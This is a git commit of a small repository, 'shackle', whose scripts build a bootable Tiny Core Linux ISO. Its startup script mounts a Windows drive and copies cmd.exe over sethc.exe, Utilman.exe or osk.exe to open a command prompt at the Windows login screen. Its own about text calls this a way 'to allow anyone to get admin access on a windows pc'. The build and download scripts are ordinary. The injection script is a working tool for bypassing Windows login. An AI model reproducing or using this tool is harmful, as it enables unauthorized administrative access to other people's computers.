shackle but better

This commit is contained in:
notfire 2024-10-28 16:40:24 -04:00
commit df9fabd9eb
Signed by: notfire
GPG key ID: 3AFDACAAB4E56B16
9 changed files with 800 additions and 0 deletions

8
.gitignore vendored Normal file
View file

@ -0,0 +1,8 @@
iso/
resources/*.tcz
resources/*.dep
resources/*.md5.txt
resources/Log.txt
resources/info.lst
resources/Dependency.list
resources/squashfs-root/

12
README.md Normal file
View file

@ -0,0 +1,12 @@
# shackle
a tool to build super small linux isos for quick tasks (using the sethc.exe bug as an example)
## building instructions
1. download the original isos: `./fetch_isos.sh`
2. build for your arch (ex: x86_64): `./build_x86_64.sh`
3. output iso will be in `iso/`
## customization
you can change settings in the build scripts. the most important thing you can change is extensions, probably. make sure it's a package that's in tinycore and put that in the extensions bit
`resources/startup.sh` is what gets executed at startup, so modify it to your liking.

10
build_x86.sh Executable file
View file

@ -0,0 +1,10 @@
#!/bin/bash
export ARCH="x86"
export tinyCoreVer="15.x"
export extensions="ntfs-3g util-linux"
export origISO="Core-current.iso"
export TC=$tinyCoreVer
./resources/build_main.sh

10
build_x86_64.sh Executable file
View file

@ -0,0 +1,10 @@
#!/bin/bash
export ARCH="x86_64"
export tinyCoreVer="15.x"
export extensions="ntfs-3g util-linux"
export origISO="CorePure64-current.iso"
export TC=$tinyCoreVer
./resources/build_main.sh

11
fetch_isos.sh Executable file
View file

@ -0,0 +1,11 @@
#!/bin/bash
#
# depends:
# - wget
tinyCoreVer="15.x"
mkdir -p iso/
cd iso/
wget "http://www.tinycorelinux.net/$tinyCoreVer/x86_64/release/CorePure64-current.iso"
wget "http://www.tinycorelinux.net/$tinyCoreVer/x86/release/Core-current.iso"

497
resources/FetchExt.sh Executable file
View file

@ -0,0 +1,497 @@
#!/bin/sh
# Script to download an extension and its dependencies written by Richard A. Rost July 7,2019
# Special thanks go out to GNUser for his time and effort spent testing and providing
# helpful suggestions and feedback.
#
# The script downloads to the directory you are in when you start the script.
# There are no Tinycore specific commands, variables, or directories required so it should work
# on any Linux box.
# Some error checking is done, though it might not be as thorough as it should be.
# The script downloads the .tcz, .tcz.dep, and .tcz.md5.txt files for each extension.
# MD5 is verified.
# File ownership is changed to tc:staff.
# A running timestamped log is kept in ./Log.txt
# ./Dependency.list is a sorted .tree file with duplicates removed of the last extension downloaded.
#
# Usage:
#
# FetchExt.sh ExtensionName ExtensionName ExtensionName
# Fetches the extension(s) and its dependencies. ExtensionName is
# case sensitive. Including .tcz is optional.
#
# FetchExt.sh info Fetches the list of available extensions in the listed repository
# and displays it using less in a new terminal.
#
#
# --------------------------------- Change Log --------------------------------- #
# Version None Jul 7,2019
# Initial release.
# Version 0.2 Apr 3.2022
# Added version numbers.
# You can now specify multiple extensions in one command.
# It no longer matters whether or not you include .tcz in the extension name.
# When multiple kernel versions of an extension exist, they all get fetched.
# The operating system will use the correct extension and the user does
# not need to spend time typing incorrect version strings.
# Changed #!/bin/bash to #!/bin/sh. Not sure why it was bash, hope nothing breaks.
# Major cleanup. Some code moved into functions. Logic changes. More comments added.
# Replaced excess screen output with dots to indicate progress. ./Log.txt has history.
#
# Version 0.3 Apr 7.2022
# Added UserID to User variables. Thank you GNUser
# Added sudo handling. Thank you GNUser
# Created separate function to change file ownership attributes. Thank you GNUser
# Changed == and != to -eq and -ne for integer comparisions. Thank you GNUser
# Added Usage message.
#
# Version 0.4 Apr 8.2022
# Changed echo -e to multiple echo commands for systems that don't support -e. Thank you GNUser
#
# Version 0.5 Apr 9.2022
# Added some messages at end of script to inform user of status.
# Added UpdateLog() to write to log file and set variables when DATE or Error:
# messages get written.
#
# ------------------------------------------------------------------------------ #
#
# ------------------------------ Define Variables ------------------------------ #
# User variables ***************************************************************
# Website to download from.
ADDR="http://repo.tinycorelinux.net"
# Tinycore version. Versions always end in .x , there are no minor version digits.
#TC="13.x"
# Processor architecture, current options are x86 x86_64 armv6 armv7 armv7l aarch64
#ARCH="x86"
# User that should own the downloaded files. UID of the default tc user is 1001.
# If you use the "user=somebody" boot code you may prefer UserID 1000 (but 1001 would still work).
UserID=1000
# End of user variables ********************************************************
# Program variables start here. Do not touch. **********************************
# This is the repository the extensions get downloaded from.
URL="$ADDR/$TC/$ARCH/tcz/"
# This is a running log of all downloads
Log="Log.txt"
# REGEX for finding kernel version strings. Set by BuildVersionsList()
# Used by BuildVersionsList() and BuildDependencyList().
KString=""
# List of all extensions in repository. Used to create a list of available
# kernel versions.
InfoFile="info.lst"
# File containing list of available kernel versions in the current repository.
VersionsList="Versions.list"
# Maximum age of info.lst in seconds before it is considered to be stale and
# needs to be redownloaded.
MaxAge=3600
# Name of each extension to be processed.
ExtName=""
# Processed copy of extension.tcz.tree. It has been sorted and duplicate entries
# are removed. Kernel module entries have been updated to include all kernel
# versions available from the current repository.
DependencyList="Dependency.list"
# This is the user ID you are currently running as.
WhoIam=`id -u`
# Tells ChangeOwnership() whether it needs sudo for chown command.
UseSudo="No"
# Gets set if user wants to view $InfoFile or $Log
ViewFile=""
# Provides feedback to the user when the script runs to completion. OK or Error.
ExitMessage="OK"
# Timestamp of extension tree currently being processed.
TimeStamp=""
# Timestamp of when the first error of this session shows up in Log.
ErrorTime=""
# -------------------------------- End Variables ------------------------------- #
# ------------------------------ Define Functions ------------------------------ #
BuildDependencyList()
{
# This uses the .tree file and the $VersionsList file to build
# a complete dependency list of the extension being processed.
TmpFile="Extension.tmp"
rm -f "$DependencyList"
# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries.
awk '$1=$1' $ExtName.tree | sort -u > $TmpFile
# Replace -kernelversion.tcz with -KERNEL.tcz
sed -i -E 's|'$KString'|-KERNEL.tcz|g' $TmpFile
for E in `cat $TmpFile`
do
case $E in
*-KERNEL.tcz) # Kernel module extensions are handled here.
# Strip off -KERNEL.tcz from end of extension name.
E=${E%\-KERNEL.tcz}
for V in `cat $VersionsList`
do
# Create an entry for each kernel version listed in this repository.
echo $E$V >> $DependencyList
done
;;
*) # Regular extensions are handled here.
echo $E >> $DependencyList
;;
esac
done
rm -f "$TmpFile"
rm -f "$ExtName.tree"
}
BuildVersionsList()
{
# Scans the info.lst file to create a list of available kernel versions.
# for this repository.
case $ARCH in
# REGEX notes:
# First - is escaped so it's not treated as an option by grep.
# Wildcard needs to be preceded with a period like this: .*
x86*) # REGEX for finding Intel kernel strings.
KString="\-[0-9]+.[0-9]+.[0-9]+-tinycore.*.tcz"
;;
armv*|aarch*) # REGEX for finding ARM kernel strings.
KString="\-[0-9]+.[0-9]+.[0-9]+-piCore.*.tcz"
;;
*) echo "Invalid architecture specified."
Cleanup 1
;;
esac
# Searches for -kernelversion.tcz and prints only the part of a line that matches -kernelversion.tcz.
grep -oE $KString $InfoFile > Versions.tmp
# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries.
awk '$1=$1' Versions.tmp | sort -u > $VersionsList
rm -f Versions.tmp
}
ChangeOwnership()
{
# Change User:Group attributes of a file.
#
# $1 File to change.
# $2 Optional, user ID to use in place of the default.
#
# Numeric values used because foreign Linux box won't have tc:staff.
# Default ID to use.
UseID=$UserID
# Test if an alternate ID was passed in.
[ -n "$2" ] && UseID=$2
if [ "$UseSudo" = "Yes" ]
then
sudo chown $UseID:50 "$1"
else
chown $UseID:50 "$1"
fi
}
CheckSudo()
{
# Make sure we can run without user interaction.
if [ `id -u` -ne 0 ]
then
# User is not root.
UseSudo="Yes"
sudo -nv > /dev/null 2>&1
if [ $? -ne 0 ]
then
# sudo either requires a password or does not exist.
echo "You must run $0 as root on this system."
# This is the only time you should exit directly.
# Use Cleanup() everywhere else.
exit 1
fi
fi
# Make sure the current user can modify/access these files if they exist.
[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile" "$WhoIam"
[ -f "$Log" ] && ChangeOwnership "$Log" "$WhoIam"
[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList" "$WhoIam"
}
Cleanup()
{
# Every exit point except CheckSudo() should pass through here.
# Make sure the end user ($UserID) can modify/access these files if they exist.
[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile"
[ -f "$Log" ] && ChangeOwnership "$Log"
[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList"
# Remove unneeded files.
rm -f "$VersionsList"
exit $1
}
FetchTreeFile()
{
# Remove previous copy of file if it exists so that wget doesn't create numbered backups.
rm -f "$ExtName.tree"
Tree="$URL$ExtName.tree"
wget -q "$Tree" > /dev/null 2>&1
if [ $? -ne 0 ]
then
wget -q --spider "$URL$ExtName" > /dev/null 2>&1 # No .tcz.tree found, check for .tcz
if [ $? -eq 0 ]
then # Extension exists but has no dependencies so create a tree file.
echo "$ExtName" > "$ExtName.tree"
else
# Extension does not exist, log an error.
# Update the log file with newline, timestamp, URL, extension name being processed.
UpdateLog ""
UpdateLog "DATE"
UpdateLog "$URL"
UpdateLog " Error: Processing $ExtName failed."
# Setting this to an empty string informs the caller an error occurred.
ExtName=""
fi
fi
}
RefreshInfoList()
{
# This downloads a fresh copy of info.lst if any of the following are true:
# 1. The file is not in the current directory.
# 2. The file is older than 1 hour (3600 seconds).
# 3. This script has been modified and is newer than info.lst.
# Make sure info.lst exists.
if [ -f "$InfoFile" ]
then
# Compute number of seconds since this script modified (edited).
ThisScript=$(( $(date +%s) - $(date -r "$0" +%s) ))
# Compute number of seconds since info.list modified (downloaded).
Age=$(( $(date +%s) - $(date -r "$InfoFile" +%s) ))
if [ $Age -lt $ThisScript ]
then
# info.lst is more recent than this script, no need to update.
if [ $Age -lt $MaxAge ]
then
# File is recent enough to use.
return
fi
fi
# File is too old, delete it.
rm -f "$InfoFile"
fi
# Fetch a fresh copy of the file.
wget -q "$URL$InfoFile"
if [ $? -ne 0 ]
then
echo "Download failed for: $URL$InfoFile"
Cleanup 1
fi
}
UpdateLog()
{
Message="$1"
case "$Message" in
" Error:"*)
if [ "$ErrorTime" = "" ]
then
# These get set the first time an Error: message gets sent.
# They get used at the end of the script prior to exiting.
ErrorTime="$TimeStamp"
ExitMessage="One or more errors occurred. See $Log after timestamp:"
fi
;;
"DATE")
TimeStamp="`date`"
Message="$TimeStamp"
;;
esac
echo "$Message" >> $Log
}
Usage()
{
echo " Usage:
$0 ExtensionName ExtensionName ExtensionName
Fetches the extension(s) and its dependencies.
ExtensionName is case sensitive.
Including .tcz is optional.
$0 info Fetches the list of available extensions in the
listed repository and displays it using less in
a new terminal.
$0 Log Displays the Log.txt file (if it exists) using less
in a new terminal.
Please see the User variables section of this script for
setting the version and architecture you will download for."
Cleanup 1
}
# -------------------------------- End Functions ------------------------------- #
# ----------------------------- Program starts here ---------------------------- #
# User failed to request an extension, info or Log.
[ $# -eq 0 ] && Usage
# See if user is requesting -h or --help, or wants to view info or Log.
case "$1" in
-*) Usage;;
info) ViewFile="$InfoFile";;
Log) ViewFile="$Log";;
esac
# Make sure we don't need passwords for sudo.
CheckSudo
# See if we need a newer copy of info.lst.
RefreshInfoList
# First see if the user wants to look through $InfoFile or $Log.
# Make sure the string is not zero length.
if [ -n "$ViewFile" ]
then
# Make sure the file exists.
if [ -f "$ViewFile" ]
then # Display the $ViewFile in a terminal using the less command.
xterm +tr +sb -T "$ViewFile" -e less "$ViewFile" &
Cleanup 0
else
echo "$ViewFile not found."
Cleanup 1
fi
fi
# Create list of available kernel versions in the current repository.
BuildVersionsList
# Process extensions requested one at a time.
for ExtName in $@
do
# Sanitize ExtName so we can accept extension or extension.tcz for input.
# Inside the braces removes .tcz if it exists. The .tcz at the end appends .tcz.
ExtName="${ExtName%.tcz}.tcz"
FetchTreeFile
# If an error occurred, we continue by skipping this extension.
if [ -z "$ExtName" ]
then
continue
fi
# Process the .tree file and the $VersionsList file to build
# a complete dependency list.
BuildDependencyList
# Update the log file with newline, timestamp, URL, extension name being processed.
UpdateLog ""
UpdateLog "DATE"
UpdateLog "$URL"
UpdateLog "Processing $ExtName"
# Download the extension and all of its dependencies.
for Entry in `cat $DependencyList`
do
# Visual feedback so user knows something is happening.
echo -n "."
# See if extension already exists.
if [ -f "$Entry" ]
then
UpdateLog "$Entry already downloaded."
continue
fi
# Fetch extension.
wget -q "$URL$Entry" > /dev/null 2>&1
if [ $? -ne 0 ]
then
UpdateLog " Error: $Entry download failed."
else
UpdateLog "$Entry downloaded."
ChangeOwnership "$Entry"
fi
# Fetch dependency file if one exists.
wget -q "$URL$Entry.dep" > /dev/null 2>&1
if [ $? -eq 0 ]
then
UpdateLog "$Entry.dep downloaded."
ChangeOwnership "$Entry.dep"
fi
# Fetch MD5.
wget -q "$URL$Entry.md5.txt" > /dev/null 2>&1
if [ $? -ne 0 ]
then
UpdateLog " Error: $Entry.md5.txt download failed."
# No point in verifying the MD5.
continue
else
UpdateLog "$Entry.md5.txt downloaded."
ChangeOwnership "$Entry.md5.txt"
fi
# Verify MD5.
md5sum -c "$Entry.md5.txt" > /dev/null 2>&1
if [ $? -ne 0 ]
then
UpdateLog " Error: $Entry md5 checksum failed."
fi
done
done
echo "."
# ExitMessage contains either OK or an error message. If it contains
# an error message, ErrorTime will be set to the time of the first error.
echo "$ExitMessage"
[ -n "$ErrorTime" ] && echo "$ErrorTime"
echo
Cleanup 0

87
resources/build_main.sh Executable file
View file

@ -0,0 +1,87 @@
#!/bin/bash
#
# depends:
# - cdrtools (for mkisofs)
# - syslinux (for isohybrid)
# - p7zip (extracting the iso)
# - cpio (for creating the cpio file)
# - squashfs-tools (for extracting the tcz files)
if [ "$ARCH" == "x86_64" ]; then
export gz_file="corepure64"
sed -i 's/vmlinuz/vmlinuz64/g' resources/isolinux.cfg
sed -i 's/core.gz/corepure64.gz/g' resources/isolinux.cfg
else
export gz_file="core"
fi
# take use of timeout
sudo true
# extract our iso
printf "extracting $origISO..."
7z x iso/$origISO -oisoext > /dev/null
echo "done"
# get extensions
printf "downloading extensions..."
cd resources
sudo -E ./FetchExt.sh $extensions > /dev/null
cd ..
echo "done"
# extract $gz_file.gz
printf "extracting $gz_file.gz..."
mv isoext/boot/$gz_file.gz .
mkdir coreext
cd coreext
zcat ../$gz_file.gz | sudo cpio -i -H newc -d --quiet
cd ..
echo "done"
# extract extensions
printf "extracting extensions..."
cd resources
for tcztoext in *.tcz; do
unsquashfs -q -n -f $tcztoext
done
echo "done"
# inject extensions to core and inject a script to run at login
printf "injecting extensions and login script..."
sudo cp -r squashfs-root/* ../coreext/
cd ../coreext/
sudo cp ../resources/startup.sh etc/profile.d/startup.sh
echo "done"
# compile new core.gz
printf "creating new $gz_file.gz..."
sudo rm ../$gz_file.gz
sudo find | sudo cpio -o -H newc --quiet | gzip -11 > ../$gz_file.gz
cd ../isoext/
sudo mv ../$gz_file.gz boot/$gz_file.gz
cd ..
echo "done"
# remove boot menu and force directly booting
printf "removing boot menu..."
rm isoext/boot/isolinux/boot.msg isoext/boot/isolinux/f2 isoext/boot/isolinux/f3 isoext/boot/isolinux/f4
cp resources/isolinux.cfg isoext/boot/isolinux/isolinux.cfg
echo "done"
# make our new iso
printf "creating iso..."
mkisofs -l -J -R -V shackle -quiet -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -o iso/shackle_$ARCH.iso isoext
isohybrid -o 64 iso/shackle_$ARCH.iso
echo "done"
# clean up
cd resources/
rm -r *.tcz *.dep *.md5.txt Log.txt info.lst Dependency.list squashfs-root/
cd ..
sudo rm -r isoext/ coreext/
if [ "$ARCH" == "x86_64" ]; then
sed -i 's/vmlinuz64/vmlinuz/g' resources/isolinux.cfg
sed -i 's/corepure64.gz/core.gz/g' resources/isolinux.cfg
fi

6
resources/isolinux.cfg Normal file
View file

@ -0,0 +1,6 @@
default microcore
label microcore
kernel /boot/vmlinuz
initrd /boot/core.gz
append loglevel=3
prompt 0

159
resources/startup.sh Executable file
View file

@ -0,0 +1,159 @@
inject() {
clear
printf "what exe should be replaced?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n"
read -p "> " option
if [[ "$option" == "1" ]]; then
exe="sethc"
elif [[ $option == "2" ]]; then
exe="Utilman"
elif [[ $option == "3" ]]; then
exe="osk"
elif [[ $option == "4" ]]; then
return
else
echo "invalid option. returning..."
sleep 2
return
fi
clear
echo "!!!!!IMPORTANT!!!!!"
echo "write out the drive that you want to inject shackle into (ex: /dev/sda1)"
echo "if you fuck this up then its not my fault."
echo "here's a list of drives. pick the right one!"
echo "-----------"
lsblk --noheadings --list --paths --output name,size -I 8
echo "-----------"
read -p "> " drive
#if [[ "$drives" =~ "$drive" ]]; then
# echo "this drive does not exist or is not a windows drive. returning..."
# sleep 2
# return
#fi
clear
echo "mounting..."
mkdir /mnt/win
sudo ntfs-3g $drive /mnt/win
if [ -f /mnt/win/Windows/System32/$exe\_o.exe ]; then
echo "file already exists! returning..."
sudo umount /mnt/win
sudo rm -r /mnt/win
sleep 2
return
fi
if [ ! -e /mnt/win/Windows/System32/cmd.exe ]; then
echo "cmd does not exist! returning..."
sudo umount /mnt/win
sudo rm -r /mnt/win
sleep 2
return
fi
echo "injecting..."
sudo cp /mnt/win/Windows/System32/$exe.exe /mnt/win/Windows/System32/$exe\_o.exe
sudo cp /mnt/win/Windows/System32/cmd.exe /mnt/win/Windows/System32/$exe.exe
echo "unmounting..."
sudo umount /mnt/win
sudo rm -r /mnt/win
echo "done! returning..."
sleep 2
return
}
revert() {
clear
printf "what exe should be reverted?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n"
read -p "> " option
if [[ "$option" == "1" ]]; then
exe="sethc"
elif [[ $option == "2" ]]; then
exe="Utilman"
elif [[ $option == "3" ]]; then
exe="osk"
elif [[ $option == "4" ]]; then
return
else
echo "invalid option. returning..."
sleep 2
return
fi
clear
echo "!!!!!IMPORTANT!!!!!"
echo "write out the drive that you want to remove shackle from (ex: /dev/sda1)"
echo "if you fuck this up then its not my fault."
echo "here's a list of drives. pick the right one!"
echo "-----------"
lsblk --noheadings --list --paths --output name,size -I 8
echo "-----------"
read -p "> " drive
#if [[ "$drives" =~ "$drive" ]]; then
# echo "this drive does not exist or is not a windows drive. returning..."
# sleep 2
# return
#fi
clear
echo "mounting..."
mkdir /mnt/win
sudo ntfs-3g $drive /mnt/win
if [ ! -e /mnt/win/Windows/System32/$exe\_o.exe ]; then
echo "file doesn't exist! returning..."
sudo umount /mnt/win
sudo rm -r /mnt/win
sleep 2
return
fi
echo "reverting..."
sudo mv /mnt/win/Windows/System32/$exe\_o.exe /mnt/win/Windows/System32/$exe.exe
echo "umounting..."
sudo umount /mnt/win
sudo rm -r /mnt/win
echo "done! returning..."
sleep 2
return
}
about() {
echo "this is a build of linux that is intended to replace an exe that is accessible from the"
echo "login screen in order to allow anyone to get admin access on a windows pc."
echo "here are all of the exe's that can be replaces:"
echo "- sethc.exe (sticky keys)"
echo "- utilman.exe (ease of access)"
echo "- osk.exe (on screen keyboard)"
echo "press enter to return!"
read
return
}
while true; do
clear
printf "welcome to shackle! :)\n(1) inject\n(2) revert\n(3) shell\n(4) about\n(5) exit\n"
read -p "> " option
case "$option" in
1) inject ;;
2) revert ;;
3) ash ;;
4) about ;;
5) break ;;
*) echo "invalid option" ;;
esac
printf "\n"
done
echo "rebooting..."
reboot
exit